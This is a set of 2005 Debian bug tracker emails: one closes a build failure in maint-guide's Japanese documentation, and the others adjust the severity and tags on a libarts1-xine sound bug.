Your message dated Thu, 24 Feb 2005 07:55:27 +0100 with message-id [EMAIL PROTECTED] and subject line Fixed in maint-guide 1.2.4 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) -- Received: (at submit) by bugs.debian.org; 5 Feb 2005 15:42:47 + From [EMAIL PROTECTED] Sat Feb 05 07:42:47 2005 Return-path: [EMAIL PROTECTED] Received: from poros.telenet-ops.be [195.130.132.44] by spohr.debian.org with esmtp (Exim 3.35 1 (Debian)) id 1CxS59-0001Wb-00; Sat, 05 Feb 2005 07:42:47 -0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by poros.telenet-ops.be (Postfix) with SMTP id 64E3F3BC068 for [EMAIL PROTECTED]; Sat, 5 Feb 2005 16:42:46 +0100 (MET) Received: from Q.roeckx.be (dD5775FD9.access.telenet.be [213.119.95.217]) by poros.telenet-ops.be (Postfix) with ESMTP id 551AE3BC08B for [EMAIL PROTECTED]; Sat, 5 Feb 2005 16:42:46 +0100 (MET) Received: by Q.roeckx.be (Postfix, from userid 501) id 158E126136; Sat, 05 Feb 2005 16:42:46 +0100 (CET) Date: Sat, 5 Feb 2005 16:42:45 +0100 From: Kurt Roeckx [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: maint-guide: FTBFS: debiandoc2latexps: ERROR: maint-guide.ja.dvi could not be generated properly Message-ID: [EMAIL PROTECTED] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2005_01_02 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-8.0 required=4.0 tests=BAYES_00,HAS_PACKAGE autolearn=no version=2.60-bugs.debian.org_2005_01_02 X-Spam-Level: Package: maint-guide Version: 1.2.3 Severity: serious Hi, The package is failing to build with the following error: debiandoc2latexps -l it maint-guide.it.sgml debiandoc2latexps -l ja maint-guide.ja.sgml debiandoc2latexps: ERROR: maint-guide.ja.dvi could not be generated properly debiandoc2latexps: rerun with the -v option to found out why debiandoc2latexps: or check the log file maint-guide.ja.log make[1]: *** [maint-guide.ja.ps] Error 1 I looked at that log file but I really don't understand much of it. Kurt --- Received: (at 293753-done) by bugs.debian.org; 24 Feb 2005 06:51:26 + From [EMAIL PROTECTED] Wed Feb 23 22:51:26 2005 Return-path: [EMAIL PROTECTED] Received: from outmx018.isp.belgacom.be [195.238.2.117] by spohr.debian.org with esmtp (Exim 3.35 1 (Debian)) id 1D4CqM-0001VN-00; Wed, 23 Feb 2005 22:51:26 -0800 Received: from outmx018.isp.belgacom.be (localhost [127.0.0.1]) by outmx018.isp.belgacom.be (8.12.11/8.12.11/Skynet-OUT-2.22) with ESMTP id j1O6pMK4007021; Thu, 24 Feb 2005 07:51:22 +0100 (envelope-from [EMAIL PROTECTED]) Received: from dambo.lan.aokiconsulting.com (164.199-200-80.adsl.skynet.be [80.200.199.164]) by outmx018.isp.belgacom.be (8.12.11/8.12.11/Skynet-OUT-2.22) with ESMTP id j1O6pMfj007017; Thu, 24 Feb 2005 07:51:22 +0100 (envelope-from [EMAIL PROTECTED]) Received: from osamu by dambo.lan.aokiconsulting.com with local (Exim 4.44) id 1D4CuF-0004jF-3R; Thu, 24 Feb 2005 07:55:27 +0100 Date: Thu, 24 Feb 2005 07:55:27 +0100 From: Osamu Aoki [EMAIL PROTECTED] To: [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED] Subject: Fixed in maint-guide 1.2.4 Message-ID: [EMAIL PROTECTED] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-GPG-Fingerprint: 253A 4076 6A3B CCE2 A426 DEF5 E80F C4C1 A806 1F32 User-Agent: Mutt/1.5.6+20040907i Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2005_01_02 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-5.0 required=4.0 tests=BAYES_00,VALID_BTS_CONTROL autolearn=no version=2.60-bugs.debian.org_2005_01_02 X-Spam-Level: X-CrossAssassin-Score: 3 This is partially blessed NMU with original CVS source on Debian server updated. Closing them all :-) (Building package was on pbuilder. So no more FTBFS) - Forwarded message from Osamu Aoki [EMAIL PROTECTED] - From: Osamu Aoki [EMAIL PROTECTED] Subject: Fixed in NMU of maint-guide 1.2.4 To: [EMAIL PROTECTED] Cc: Osamu Aoki [EMAIL PROTECTED], Josip Rodin [EMAIL PROTECTED] Date: Thu, 24 Feb 2005 01:17:13 -0500 X-CRM114-Status: Good ( pR: 35.9726 ) tag 210785 + fixed tag 255441 + fixed tag 293753 + fixed quit This
Processed: Bug#295843: Installing libarts1-xine turns off the sound
Processing commands for [EMAIL PROTECTED]: Package: libarts1-xine Unknown command or malformed arguments to command. severity 295843 important Bug#295843: Installing libarts1-xine turns off the sound Severity set to `important'. tags 295843 +moreinfo Bug#295843: Installing libarts1-xine turns off the sound There were no tags set. Tags added: moreinfo thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#295843: Installing libarts1-xine turns off the sound
Package: libarts1-xine severity 295843 important tags 295843 +moreinfo thanks No responses our request for more info, or anyone else confirming this bug either. Sometimes I wish settting the severity of the bug required confirmation from atleast one other user... -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
